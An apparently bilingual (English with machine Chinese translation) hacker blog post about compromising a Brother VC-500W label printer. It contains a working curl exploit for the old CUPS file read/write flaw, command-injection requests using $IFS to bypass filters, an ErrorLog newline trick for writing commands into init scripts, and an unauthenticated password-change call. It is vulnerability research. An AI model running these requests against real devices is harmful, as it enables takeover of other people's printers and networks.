I walk into the bedroom, hearing curses directed vaguely towards computers. My girlfriend is, figuratively, trying to beat a small white box into submission. I come closer, see that it’s a printer, semi-jokingly say “I’m SO glad that it’s not my problem!”, and turn right back.
我走进卧室,听到隐约对着电脑的咒骂声。比喻说,我的女朋友正试图把一个小白盒子打得屈服。我走近一看,发现是一台打印机,半开玩笑地说:“我很高兴这不是我的问题!”,然后右转回去。
Exiting the room, I’m having second thoughts. I guess that I do want some pain today after all.
离开房间,我有第二个想法。我想我今天确实想要一些痛苦。
![Pwning a Brother labelmaker, for fun and interop!](https://sdomi.pl/weblog/20-pwning-a-labelmaker/img/cover.jpg)
Our main character is a Brother-branded VC-500W. When installing the printer, I learn that it’s exposing a downright medieval version of CUPS. It’s an experience similar to taking out an old Android phone out of a drawer and being astonished at how dated the UI looks. Do you remember that CUPS had this atrocious gradiented navbar?
我们的主角是 Brother 品牌的 VC-500W。在安装打印机时,我了解到它暴露了一个彻头彻尾的中世纪版本的 CUPS。这种体验类似于从抽屉里拿出一部旧的 Android 手机,然后惊讶于 UI 看起来有多过时。你还记得 CUPS 有这个残酷的渐变导航栏吗?
Picture 1 – the cups 1.6.x experience. dark theme, making it even worse, sponsored by darkreader
图 1 – 杯子 1.6.x 体验。黑暗主题,让它变得更糟,由 Darkreader 赞助
This has ticked off something in my brain that immediately made me want to dig deeper, because… a brand new device? Shipping with a 2012 build of CUPS? Something’s fishy.
这在我的大脑中勾起了一些东西,立即让我想深入挖掘,因为……一个全新的设备?随 2012 版 CUPS 一起发货?有些腥味。
It’s a lot worse, actually
实际上,情况要糟糕得多
Initial setup consisted of clicking through a wizard on a separate web server with some CGI glue in the back.
初始设置包括在单独的 Web 服务器上单击向导,并在后面添加一些 CGI 胶水。
Picture 2 – Brother’s equally dated setup page. take note of the copyright date
图 2 – Brother 同样注明日期的设置页面。记下版权日期
During the process I’ve seen a few things which stuck out as kind of weird, like… a very long GET request for connecting to a specified WiFi network:
在这个过程中,我看到了一些有点奇怪的事情,比如……用于连接到指定 WiFi 网络的很长 GET 请求:
http://192.168.247.17/wificonfig?page=4&
this just screams “oooo do command injection oooo i’m not sanitized”
password=bWFkZXVsb29rISEK&
number=01&
Address=D6%3A01[snip]&
ESSID=[snip]&
Encryption_key=on&
IE0_label=WPA+Version+1&
IE0_Group_Cipher=CCMP&
IE0_Pairwise_Ciphers=CCMP&
IE0_Authentication_Suites=PSK&
IE1_label=[snip]&
IE1_Group_Cipher=CCMP&
IE1_Pairwise_Ciphers=CCMP&
IE1_Authentication_Suites=PSK&
Quality=100%2F100&
selected_ap=[snip]+(100%2F100)
这只是尖叫“oooo do command injection oooo 我没有消毒”
But I ignored them for now, and pressed on. I checked our mikrotik to see what lease the printer got from the DHCP server, and…
但我暂时忽略了他们,继续前进。我检查了我们的mikrotik,看看打印机从DHCP服务器获得了什么租约,然后……
Picture 3 – some spicy system details, as randomly discovered in mikrotik’s DHCP leases section
图 3 – 在 mikrotik 的 DHCP 租约部分随机发现的一些辛辣系统细节
Excuse me? I actually didn’t notice the whole string at first, only later when closing excess windows. I was left dumbfounded at the sight: There’s a CUPS version that’s 10+ years old, Linux kernel almost old enough to drink, all of that running crawling on an ARMv5. On a device that’s still in production, which you can buy right now.
对不起?实际上,我一开始并没有注意到整个字符串,只是在关闭多余的窗口时才注意到。我目瞪口呆:有一个 CUPS 版本已经有 10+ 年的历史了,Linux 内核几乎老到可以喝了,所有这些都在 ARMv5 上运行。在仍在生产中的设备上,您可以立即购买。
Now I had to investigate.
现在我必须调查。
Some initial recon consisted of searching for the device online, to see if anyone has attempted to hack it already. The only result I found was this github repo, which provided some good surface-level info, mostly with regards to where they host the firmware. Turns out that the upgrade packages are in .tgz.gpg format, which… doesn’t tell me much, but still manages to inflict mental pain. I had no use for those right now anyways, but they will surely come in handy later.
一些最初的侦察包括在线搜索该设备,看看是否有人已经试图破解它。我发现的唯一结果是这个 github 存储库,它提供了一些很好的表面信息,主要是关于他们托管固件的位置。原来升级包是.tgz.gpg格式,这…没有告诉我太多,但仍然设法造成精神上的痛苦。反正我现在没有用,但它们以后肯定会派上用场。
Furthermore, I had a quick search for CUPS vulns around this vintage. Turns out that my version is the last one to be vulnerable to an Arbitrary File Read/Write vulnerability (often miscredited to CVE-2012-5519). With some Copy as cURL1 magic, I prepared myself a script:
此外,我快速搜索了这个年份的 CUPS 漏洞。事实证明,我的版本是最后一个容易受到任意文件读/写漏洞攻击的版本(经常被误认为是 CVE-2012-5519)。通过一些 Copy as cURL 1 魔术,我为自己准备了一个脚本:
#!/bin/bash
if [[ ! "$1" ]];
echo "usage: $0 "
fi
curl 'http://192.168.247.17:631/admin/' -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05' \
--data-raw 'org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05&OP=config-server&CUPSDCONF=LogLevel+debug%0D%0ASystemGroup+root%0D%0AGroup+3003%0D%0AServerAlias+*%0D%0A%23+Allow+remote+access%0D%0APort+631%0D%0AListen+%2Fvar%2Frun%2Fcups%2Fcups.sock%0D%0ABrowsing+On%0D%0ABrowseOrder+allow%2Cdeny%0D%0ABrowseAllow+all%0D%0ABrowseLocalProtocols+all%0D%0ABrowseWebIF+No%0D%0AMaxJobs+8%0D%0AMaxClients+5%0D%0AMaxLogSize+5000000%0D%0APreserveJobFiles+No%0D%0APreserveJobHistory+Yes%0D%0ADefaultAuthType+Basic%0D%0ADefaultEncryption+Required%0D%0AWebInterface+Yes%0D%0APageLog+%2F'"$1"'%0D%0A%3CLocation+%2F%3E%0D%0A++%23+Allow+remote+administration...%0D%0A++Order+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%0D%0A%3CLocation+%2Fadmin%3E%0D%0A++%23+Allow+remote+administration...%0D%0A++Order+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%0D%0A%3CLocation+%2Fadmin%2Fconf%3E%0D%0A++%23+Allow+remote+access+to+the+configuration+files...%0D%0A++Order+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%0D%0A%3CPolicy+default%3E%0D%0A++JobPrivateAccess+default%0D%0A++JobPrivateValues+default%0D%0A++SubscriptionPrivateAccess+default%0D%0A++SubscriptionPrivateValues+default%0D%0A++%3CLimit+All%3E%0D%0A++++Order+allow%2Cdeny%0D%0A++++Allow+all%0D%0A++%3C%2FLimit%3E%0D%0A%3C%2FPolicy%3E%0D%0A%3CPolicy+authenticated%3E%0D%0A++JobPrivateAccess+default%0D%0A++JobPrivateValues+default%0D%0A++SubscriptionPrivateAccess+default%0D%0A++SubscriptionPrivateValues+default%0D%0A++%3CLimit+All%3E%0D%0A++++Order+allow%2Cdeny%0D%0A++++Allow+all%0D%0A++%3C%2FLimit%3E%0D%0A%3C%2FPolicy%3E%0D%0A&SAVECHANGES=Save+Changes' >/dev/null
# sorry for this being so long, i have no way to format it sanely x.x
until curl -s http://192.168.247.17:631/admin/log/page_log; do
:
done
exp.sh, a generic script to fetch any file through the CUPS vuln | this field scrolls
exp.sh,一个通用脚本,用于通过 CUPS 漏洞获取任何文件 |此字段滚动
The PoC I found used the ErrorLog directive, which appends a lot of garbage to the files. During my tests, I accidentally did that to my /etc/passwd; Thankfully, because CUPS doesn’t truncate the file, no harm was done. I later found that the same effect can be achieved using PageLog, which leaves the files almost unhurt. We’ll get to that “almost” in a bit.
我发现的 PoC 使用了 ErrorLog 指令,该指令将大量垃圾附加到文件中。在我的测试中,我不小心对我的 /etc/passwd 这样做了;值得庆幸的是,由于 CUPS 不会截断文件,因此没有造成任何伤害。后来我发现使用 PageLog 可以达到相同的效果,它使文件几乎不受伤害。我们稍后会“几乎”谈到这一点。
root:x:0:0:root:/root:/bin/sh
passwd, with trailing garbage removed for readability
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
passwd,删除了尾随垃圾以提高可读性
Unfortunately, /etc/passwd doesn’t tell us anything especially interesting. I also pulled /etc/shadow, but it didn’t have any password hashes. /bin/sh was more fruitful:
不幸的是,/etc/passwd 并没有告诉我们任何特别有趣的事情。我还拉了 /etc/shadow,但它没有任何密码哈希。/bin/sh 更有成效:
domi@zork:~/projects/bro$ file sh
sh: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
domi@zork:~/projects/bro$ strings sh | grep -i busy
-r Try to remount devices as read-only if mount is busy
busybox
Usage: busybox [function] [arguments]...
or: busybox --list[-full]
BusyBox is a multi-call binary that combines many common Unix
link to busybox for each function they wish to use and BusyBox
BusyBox v1.19.4 (2018-05-14 11:11:59 EDT)
crond (busybox 1.19.4) started, log level %d
anonymous:busybox@
syslogd started: BusyBox v1.19.4
%s busy - remounted read-only
fsck (busybox 1.19.4, 2018-05-14 11:11:59 EDT)
As I expected, it was an ancient version of busybox. I thought about manipulating ErrorLog to leverage busybox’s nc and append myself a remote shell to one of the initscripts, but I decided to check out our friends in CGI land first.
正如我所料,这是一个古老的busybox版本。我考虑过操纵 ErrorLog 以利用 busybox 的 nc 并将远程 shell 附加到其中一个初始脚本中,但我决定先看看我们在 CGI 土地上的朋友。
Vendor’s delight 供应商的喜悦
After the initial setup, the utility expands to provide some additional settings. We can rename the shared printer (no injections here, sadly), and… set up custom TLS certs?
初始设置后,该实用程序将展开以提供一些附加设置。我们可以重命名共享打印机(遗憾的是,这里没有注入),然后……设置自定义 TLS 证书?
Picture 4 – you see that right, we have multiple input boxes AND two file upload forms!
图片 4 – 你没看错,我们有多个输入框和两个文件上传表单!
I quickly found that using $(), “, or even just ; in any of the input fields can lead to code execution.
我很快发现使用 $()、” 甚至只是 ;在任何输入字段中都可能导致代码执行。
rm generated.csr
small script to get the output; downloads a CSR and parses it with OpenSSL
wget http://192.168.247.17/generated.csr
cat generated.csr | openssl req -noout -text
小脚本获取输出;下载 CSR 并使用 OpenSSL 对其进行解析Picture 5 – whoops. guess i’m root
图片 5 – 哎呀。猜猜我是根
It’s worth noting that finding this wasn’t endgame just yet. My character set was quite limited, which made it really hard to start a reverse shell. Through trial and error, I found out that I couldn’t use slashes (oof.) and spaces (OOF.) – but dollar signs and curly braces worked just fine.
值得注意的是,发现这还不是终局。我的角色集非常有限,这使得启动反向 shell 非常困难。通过反复试验,我发现我不能使用斜杠 (oof.) 和空格 (OOF.) – 但美元符号和大括号效果很好。
env my beloved env 我心爱的人
My favourite trick when I can’t use a certain character in an exploit is to step back, and figure out what we already have. A lot of the time, you can find just what you need in $PS1 or some other common environment variable. For my purpose, $IFS (the inner-field separator! your shell likely uses this for dividing text into indicies in loops and such) worked perfectly. I used it to insert whitespace between parameters.
当我不能在漏洞利用中使用某个角色时,我最喜欢的技巧是退后一步,弄清楚我们已经拥有了什么。很多时候,您可以在 $PS 1 或其他一些常见的环境变量中找到所需的内容。就我的目的而言,$IFS(内场分隔符!你的 shell 可能会用它来将文本分成循环中的指示等)工作得很好。我用它来在参数之间插入空格。
./generic.sh 'http://192.168.247.17/cgi-bin/certmgr/generate_request?'\
cat abuse to test if pipes work OK; `d` to ensure the param is never empty
'C=AT&'\
'ST=b&'\
'L=d"$(head${IFS}-n1${IFS}/etc/passwd|cat)"&'\
'O=asdf&'\
'OU=meow&'\
'CN=uwu&'\
'emailAddress=ja%40sdomi.pl&'\
'Generate=Generate'
虐待猫以测试管道是否正常工作;’d’ 确保参数永远不会为空
At some point, I messed up. Or so I thought – my exploit still worked OK, but many things on the admin page were empty. I suspected that I broke something with one of the requests, so I rebooted the device. That turned out to be a grave mistake, since after the reboot, the CGI admin interface wouldn’t start, and CUPS was working only partially (Administration page would return 500). Oops.
在某个时候,我搞砸了。或者我是这么想的 – 我的漏洞仍然可以正常工作,但是管理页面上的许多内容都是空的。我怀疑其中一个请求破坏了某些东西,所以我重新启动了设备。事实证明这是一个严重的错误,因为在重新启动后,CGI 管理界面无法启动,并且 CUPS 只能部分工作(管理页面将返回 500)。哎呀。
Back to the previous exploit
返回上一个漏洞
The last command I ran was trying to copy /etc/passwd into a different location, to see if the other place was writable. I suspected that I messed something up and damaged /etc/passwd, which lead me into an hour-long rabbithole to repair it.
我运行的最后一个命令是尝试将 /etc/passwd 复制到其他位置,以查看另一个位置是否可写。我怀疑我搞砸了什么并损坏了 /etc/passwd,这导致我进入了一个小时的兔子洞来修复它。
Hypothesis: passwd is now garbage, but I can use the vulnerability in CUPS to recreate it, right? When retrieving /etc/passwd through PageLog, it seemed to be some random binary file, so this sounded at least vaguely plausible. Unfortunately, an hour in, I figured out that my previous CUPS exploit stopped working – the config file wasn’t being written anymore.
假设:passwd 现在是垃圾,但我可以使用 CUPS 中的漏洞来重新创建它,对吧?当通过 PageLog 检索 /etc/passwd 时,它似乎是一些随机的二进制文件,所以这听起来至少有点合理。不幸的是,一个小时后,我发现我之前的 CUPS 漏洞停止工作 – 配置文件不再被编写。
I dug deeper. CUPS apparently includes not one, but two different ways to edit the config – one through a form POST request to /admin/ (which didn’t work anymore), and another via PUT to /admin/conf/. Additionally, I could do GET the same file to check its contents.
我挖得更深了。CUPS 显然不是一种,而是两种不同的编辑配置方式 – 一种是通过对 /admin/ 的表单 POST 请求(不再起作用),另一种是通过 PUT 到 /admin/conf/。此外,我可以做 GET 相同的文件来检查其内容。
I fetched /etc/passwd again. It had some garbage on the end, but that’s fine (common tools that parse it are REALLY forgiving about the syntax). So, something else must have gone awry…
我再次获取了 /etc/passwd。它最后有一些垃圾,但这很好(解析它的常用工具对语法真的很宽容)。所以,一定是出了什么问题……
Having arbitrary write (within the confines of a /etc/cups/ – I tried doing the classic /admin/conf/%2e%2e%2fpasswd, but it wasn’t vulnerable), I started thinking how I can abuse that to get RCE and fix what I broke. I thought of rewriting printers.conf, and then using CUPS filters to either gain a shell directly, or gain arbitrary file write to anywhere in the OS and use that to get a shell.
任意写入(在 /etc/cups/ 的范围内 – 我尝试执行经典的 /admin/conf/%2e%2e%2fpasswd,但它并不容易受到攻击),我开始思考如何滥用它来获取 RCE 并修复我破坏的东西。我想重写 printers.conf,然后使用 CUPS 过滤器直接获取 shell,或者获得任意文件写入操作系统中的任何位置并使用它来获取 shell。
I made a test CUPS environment locally. I spent a few hours trying to get a simple arbitrary file write, but even though I had all the freedom within the CUPS config, I couldn’t get it to work. I finally gave up on trying to use filters in my exploit chain – most likely, I could get something through them, but I lack a good enough understanding of CUPS, and I don’t really want to learn more about printers :^)
我在本地制作了一个测试 CUPS 环境。我花了几个小时试图获得一个简单的任意文件写入,但即使我在 CUPS 配置中拥有所有自由,我也无法让它工作。我终于放弃了尝试在我的漏洞利用链中使用过滤器 – 最有可能的是,我可以通过它们得到一些东西,但我对 CUPS 缺乏足够好的了解,而且我真的不想了解更多关于打印机的信息 :^)
As a last ditch effort, I went back to my first idea of using ErrorLog for arbitrary file write – I found out that CUPS 1.6.1 improperly parses the URL while logging errors, hence I could turn %0a into a real newline. Neat, but I still need to find a suitable file to exploit…
作为最后的努力,我回到了我的第一个想法,即使用 ErrorLog 进行任意文件写入 – 我发现 CUPS 1.6.1 在记录错误时不正确地解析了 URL,因此我可以将 %0a 变成一个真正的换行符。整洁,但我仍然需要找到一个合适的文件来利用……
S3 bucket full of goods
S3桶装满货物
You only start to appreciate file listings once you have a vuln that forces you to guess filenames. But what if I could just look at the base image without any restrictions?
只有当您遇到迫使您猜测文件名的漏洞时,您才会开始欣赏文件列表。但是,如果我可以不受任何限制地查看基础映像呢?
Picture 6 – how nice of them, they left the listing on!
图片 6 – 他们多好,他们离开了列表!
The GH repo I found at the very beginning gave a link to a file under http://cdn.zinkapps.com/. Looks like requesting just / gives a full file listing, at least as of 2024-06-29. There are some meta files on the very top, then elements of a web UI, some logs (???) and finally lots of .tgz.gpg files. The .gpg extension seems to be a fake – according to file, those files are just openssl enc’d. This makes them easier to encrypt and decrypt, but unlike GPG, the keys are symmetric; if the “decryption” key is found, it would be trivial to make our own upgrade packages.
我在一开始就找到的 GH 存储库提供了指向 http://cdn.zinkapps.com/ 下文件的链接。看起来只是请求/提供完整的文件列表,至少截至 2024-06-29。最上面有一些元文件,然后是 Web UI 的元素、一些日志 (???),最后是许多 .tgz.gpg 文件。.gpg扩展名似乎是假的 – 根据文件,这些文件只是openssl enc’d。这使得它们更容易加密和解密,但与 GPG 不同的是,密钥是对称的;如果找到“解密”密钥,那么制作我们自己的升级包将是微不足道的。
Picture 7 – an astute reader may notice that the last file is not like the others
图 7 – 敏锐的读者可能会注意到最后一个文件与其他文件不同
Still, I probably would need to reverse one of the native binaries to find the key. Fortunately, luck was on my side! A bunch of those files were uploaded both in .tgz.gpg and plain .tgz form. Oops?
不过,我可能需要反转其中一个本机二进制文件才能找到密钥。幸运的是,运气站在我这边!这些文件中的一堆是以 .tgz.gpg 和普通 .tgz 形式上传的。哎呀?
Let’s explore! 让我们一起来探索吧!
I fetched a file named zinkupgrade-latest.tgz, last modified in May of 2021. It’s available here if you want to play along at home.
我获取了一个名为 zinkupgrade-latest.tgz 的文件,最后修改时间为 2021 年 5 月。如果你想在家玩,可以在这里找到。
The system is a custom buildroot environment, with a… peculiar selection of software. They’ve embedded busybox and microperl to cut on size, but then used full versions of OpenSSH, OpenSSL and CUPS. I can only assume that this project has been hot-potatoed through many underpaid engineers, and this does seem to track with what I found digging through the files.
该系统是一个自定义的 buildroot 环境,具有…独特的软件选择。他们嵌入了busybox和microperl来缩小尺寸,但随后使用了OpenSSH,OpenSSL和CUPS的完整版本。我只能假设这个项目已经通过许多薪水过低的工程师进行了烫手山芋,这似乎确实与我在挖掘文件时发现的情况相吻合。
# Check hardware id nibble.
an excerpt from /etc/init.d/S91zink
if devmem 0xf0000ede | grep '[8A].$' > /dev/kmsg
then
MODEL=wedge
# Zink electronics driver module.
insmod /etc/zbe_printer_W.ko
elif devmem 0xf0000ede | grep '[9].$' > /dev/kmsg
then
MODEL=turbob
insmod /etc/zbe_printer_T.ko
fi
摘自 /etc/init.d/S91zink
Initscripts mention devices named “Wedge” and “Turbob”, some config files also are dedicated for “hAppy”. Searching for the last one leads me to zink.com…
初始脚本提到了名为“Wedge”和“Turbob”的设备,一些配置文件也专用于“hAppy”。寻找最后一个让我 zink.com……
Picture 8 – a grim capitalist hellscape courtesy of zink.com
图片 8 – 严峻的资本主义地狱景观,由 zink.com 提供
Oh, bother. You fell so low. Looks like zink is the OEM here, and Brother is just slapping a logo and some branding into the mix. Shameful!
哦,打扰了。你摔得太低了。看起来 zink 是这里的 OEM,而 Brother 只是在混合中加入了一个标志和一些品牌。可耻!
Looking at the review section on my least favourite e-commerce site named after a rain forest, first reviews originate from around 2015. I’m not sure if zink was licensing this printer from the very beginning, or if they started later because it wasn’t selling – but it seems that they have one specific design and they’re happy to milk it for as long and as cheap as possible.
看看我最不喜欢的以热带雨林命名的电子商务网站的评论部分,第一条评论来自2015年左右。我不确定 zink 是否从一开始就授权了这台打印机,或者他们是否因为卖不出去而后来开始——但似乎他们有一个特定的设计,他们很乐意尽可能长时间和尽可能便宜地挤奶。
Aaaanyways. After I finished pondering about capitalism, I settled upon S91zink as the file I’d append my commands to. I set the ErrorLog file to /etc/init.d/S91zink, and called a non-existant URL http://192.168.247.17:631/%0a/usr/sbin/sshd%0a. Just to be in the clear, I reverted ErrorLog to the default, and rebooted the printer.
啊在我完成对资本主义的思考后,我决定将 S91zink 作为我附加命令的文件。我将 ErrorLog 文件设置为 /etc/init.d/S91zink,并调用了不存在的 URL http://192.168.247.17:631/%0a/usr/sbin/sshd%0a。为了清楚起见,我将 ErrorLog 恢复为默认值,并重新启动打印机。
…It never started back up. I was dumbfounded, but it was already dawn, so I called it a night. Next day, I’d have to find UART to unbrick it.
…它从未启动备份。我傻眼了,但天已经亮了,所以我收工了。第二天,我必须找到UART来解开它。
Disassembly 拆卸
This section contains physical details about the device;
本部分包含有关设备的物理详细信息;
Feel free to skip to the unbricking if that doesn’t interest you ^w^
如果您对此不感兴趣,请随时跳到 unbricking^w^
The printer won’t win any prizes for user-repairability. Brother’s user docs didn’t mention anything about opening it for maintenance either, so I was on my own.
打印机不会因用户可修复性而赢得任何奖品。Brother 的用户文档也没有提到任何关于打开它进行维护的信息,所以我只能靠自己。
If the paper cassette gets removed, there are three screws visible from the bottom. It’s not any of those – they only secure the assembly that holds onto the paper cassette itself. But this presents a problem: there are no other screws accessible, and while the white side panel does have a few clips, trying to pry the sides open in this state proved fruitless.
如果纸盒被取下,从底部可以看到三个螺丝。它不是其中任何一个 – 它们只固定固定在纸盒本身上的组件。但这带来了一个问题:没有其他螺丝可以接触到,虽然白色侧面板确实有一些夹子,但在这种状态下试图撬开侧面被证明是徒劳的。
Out of ideas and desperate for answers, I flew to Japan tried analyzing other parts of the case. I didn’t expect anything to be under the black top part, but I pried it off anyways for shits and giggles:
出于想法和迫切的答案,我飞到日本试图分析案件的其他部分。我没想到黑色的顶部下面有什么东西,但我还是把它撬开了,因为狗屎和咯咯笑:
Picture 9 – top cover off
图片 9 – 顶盖脱落
… to my utmost surprise, screws! Also PSA: it appears that you can get the top off without using a pry tool – there’s a small hole from the bottom in the back of the device which (I THINK) is there to poke a screwdriver through and push the top off. Points to Zink, good design!
…令我最惊讶的是,螺丝钉!还有 PSA:似乎您可以在不使用撬动工具的情况下取下顶部 – 设备背面底部有一个小孔,(我认为)可以用螺丝刀戳穿并推开顶部。点Zink,好设计!
Picture 10 – under the 2nd layer
图片 10 – 第二层下
After removing the second layer of plastic… we see a little bit more, but not much. Peeking into one of the holes, I noticed our reward, four suspiciously-UART looking solderpoints:
去除第二层塑料后…我们看到的多一点,但不多。偷看其中一个洞,我注意到了我们的奖励,四个可疑的UART焊点:
Picture 11 – our cute UART. Leftmost (square) pad is VCC, then RX/TX and GND.
图片 11 – 我们可爱的 UART。最左边(方形)焊盘是 VCC,然后是 RX/TX 和 GND。
To get the third layer of plastic off, you have to remove the front paper presence sensor – there are two more screws under it. Afterwards, the white walls should slide upwards.
要取下第三层塑料,您必须卸下前纸存在传感器 – 它下面还有两个螺丝。之后,白色墙壁应向上滑动。
Picture 12 – two more screws
图片 12 – 另外两个螺丝Picture 13 – desk status: infested by a hacker
图片 13 – 桌面状态:被黑客侵扰
Unbricking, and what went wrong
拆砖,出了什么问题
Armed with UART, I jumped into a shell. During the boot process, I also noticed that the same UART gives unrestricted access to U-Boot, which may come in handy when porting a newer kernel to the device (should anyone want to do that).
带着UART,我跳进了一个壳里。在启动过程中,我还注意到相同的 UART 可以不受限制地访问 U-Boot,这在将较新的内核移植到设备时可能会派上用场(如果有人想这样做的话)。
Picture 14 – all printers should come like this from the factory!
图片 14 – 所有打印机出厂时都应该这样!
I quickly found what I broke: some init files weren’t executable. Remember when I wrote that CUPS’ PageLog directive leaves files almost unmarked? … well, it changes the permissions.
我很快发现了我破坏的东西:一些初始化文件是不可执行的。还记得我写过 CUPS 的 PageLog 指令让文件几乎不标记吗?…好吧,它改变了权限。
# mount
rootfs on / type rootfs (rw)
ubi0 on / type ubifs (rw,relatime)
proc on /proc type proc (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /tmp type tmpfs (rw,relatime,size=61440k)
sysfs on /sys type sysfs (rw,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
ubi1_0 on /local type ubifs (rw,relatime)
Yes, the whole rootfs is mounted as read/write by default. Dangerous!
是的,默认情况下,整个 rootfs 都是以读/写方式挂载的。危险!
A further analysis of the firmware
对固件的进一步分析
While writing this blogpost, I’ve caught myself reading through assorted initscripts and microperl programs to double-check myself and my previous assumptions. Thanks to that, I found… a few more weird things about the firmware:
在写这篇博文时,我发现自己正在阅读各种初始脚本和 microperl 程序,以仔细检查自己和我之前的假设。多亏了这一点,我发现……关于固件的更多奇怪之处:
Password auth 密码身份验证
curl http://192.168.247.17/cgi-bin/postdata \
a password change call. heck, an unauthenticated password change!
-d 'passwordStr=uwu'
密码更改调用。哎呀,未经身份验证的密码更改!
The admin password on this device is an interesting creature in general. It’s stored in /etc/www/config/webconfig.xml in an unhashed, unencrypted form; at the very least it’s set per-device, and printed on the bottom label!
总的来说,此设备上的管理员密码是一个有趣的生物。它以未散列、未加密的形式存储在 /etc/www/config/webconfig.xml 中;至少它是按设备设置的,并印在底部标签上!
(… or at least I hope it’s per-device…)
(…或者至少我希望它是每台设备……
<?xml version="1.0" encoding="utf-8"?>
dump of webconfig.xml from my device.
<config>
<password_chk_str>true</password_chk_str>
<password_str>meow</password_str>
<geo_location>0.0,0.0</geo_location>
<airprint_etag>0.00</airprint_etag>
</config>
从我的设备转储webconfig.xml。
indentation suffers, because /system/www/scripts/setDeviceInfo edits this file using sed ;-;
缩进会受到影响,因为 /system/www/scripts/setDeviceInfo 使用 sed ;-; 编辑此文件
How the web UI verifies the password is somehow even weirder. Frontend makes a GET request to /cgi-bin/getdata?checkPassword, then a microPerl script… parses webconfig.xml with awk (💀) and returns the value. The first script then puts said value into something that *gulp* gets evaluated in the browser:
Web UI如何验证密码在某种程度上甚至更奇怪。前端向 /cgi-bin/getdata?checkPassword 发出 GET 请求,然后发出 microPerl 脚本…使用 awk (💀) 解析webconfig.xml并返回值。然后,第一个脚本将所述值放入 *gulp* 在浏览器中评估的内容中:
var isSetPassword=true;
response to GET /cgi-bin/getdata?checkPassword 💀💀💀
var checkPassword=true;
响应 GET /cgi-bin/getdata?checkPassword 💀💀💀
If checkPassword is true, frontend POSTs the password to /cgi-bin/postdata. If it matches, user gets a redirect, and some shoddy JS code sets a cookie with the password. Everyone carries on with their day.
如果 checkPassword 为 true,则前端 POST 将密码发送到 /cgi-bin/postdata。如果匹配,用户将获得重定向,并且一些劣质 JS 代码会使用密码设置 cookie。每个人都继续他们的一天。
Meanwhile: if checkPassword is set to false, the password is never checked; This is merely a cosmetic change on the frontend: the backend NEVER checks the cookie, no matter the setting!! The auth is merely an illusion in the browser, one which can be broken with as much as one of the requests failing to arrive. Some subpages, like /certs.html assume that you’ve had to go through the auth process, so.. they never even check for the cookie!
同时:如果checkPassword设置为false,则从不检查密码;这只是前端的外观更改:无论设置如何,后端从不检查cookie!身份验证只是浏览器中的一种幻觉,只要其中一个请求未能到达,它就会被破坏。某些子页面(如 /certs.html)假定您必须经历身份验证过程,因此..他们甚至从不检查饼干!
I couldn’t have thought up of a worse, more cursed “authentication” flow if I tried. This is egregiously bad in 2024, but it was already REALLY BAD on release day.
如果我尝试过,我想不出更糟糕、更受诅咒的“身份验证”流程。这在 2024 年非常糟糕,但在发布当天已经非常糟糕了。
Closer look on postdata 仔细查看后数据
A vast majority of the data exposed through the web interface is requested through getdata and modified through postdata. Both of those are microPerl scripts which deal with parsing and sanitization of request data, and then call yet another microPerl script to do the actual reading / writing.
通过 Web 界面公开的绝大多数数据都是通过 getdata 请求的,并通过 postdata 进行修改。这两个都是microPerl脚本,它们处理请求数据的解析和清理,然后调用另一个microPerl脚本来执行实际的读取/写入。
# (...)
my $nextPage = "";
$ENV{'REQUEST_METHOD'} =~ tr/a-z/A-Z/;
if ($ENV{'REQUEST_METHOD'} eq "POST")
{
&parseDataPost;
print "Location: $nextPage\n\n";
}
exit(0);
# (...)
The file starts with some unrelated glue code for parsing the env, and then immediately checks the CGI REQUEST_METHOD variable. Make note of the print statement in this if.
该文件从一些不相关的胶水代码开始,用于解析环境,然后立即检查 CGI REQUEST_METHOD变量。记下此 if 中的 print 语句。
sub parseDataPost {
local ($buffer, @pairs, $pair, $name, $value);
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
# Split information into name/value pairs and decode url-encoded data.
@pairs = split(/&/, $buffer);
foreach $pair (@pairs)
{
($name, $value) = split(/=/, $pair,2);
$value =~ tr/+/ /;
$value =~ s/%(..)/pack("C", hex($1))/eg;
&writeToFile($name,$value);
}
}
parseDataPost gets called next, and it simply deserializes POST params one by one. Notice the cheap urldecode inside the foreach…
接下来调用 parseDataPost,它只是逐个反序列化 POST 参数。注意 foreach 里面的廉价 urldecode…
sub writeToFile {
my $str = $_[1];
if($_[0] eq "passwordStr") {
$str = changeEscapeStr($str);
$str =~ s/&/\\&/g;
&setVars("password_str",$str);
} elsif($_[0] eq "printerName") {
&setVars("printer_name",$_[1]);
} elsif($_[0] eq "printerLoc") {
&setVars("printer_loc",$_[1]);
} elsif($_[0] eq "geoLoc") {
&setVars("geo_location",$_[1]);
} elsif($_[0] eq "cropEnabled") {
&setVars("crop_enabled",$_[1]);
} elsif($_[0] eq "NextPage") {
$nextPage = $_[1];
} elsif($_[0] eq "clearPassword") {
&clearPassInfoVars();
} elsif($_[0] eq "checkPassword") {
if(changeEscapeStr($_[1]) eq &getVar("password_str")){
&setVars("password_chk_str",true);
} else {
&setVars("password_chk_str",false);
}
}
}
don’t worry! they discover case statements in the next file!
不用担心!他们在下一个文件中发现了案例陈述!
Going further, writeToFile decides on what to do with the input. If the name is NextPage, a variable is set with no further checks whatsoever… Hey, do you smell something burning?
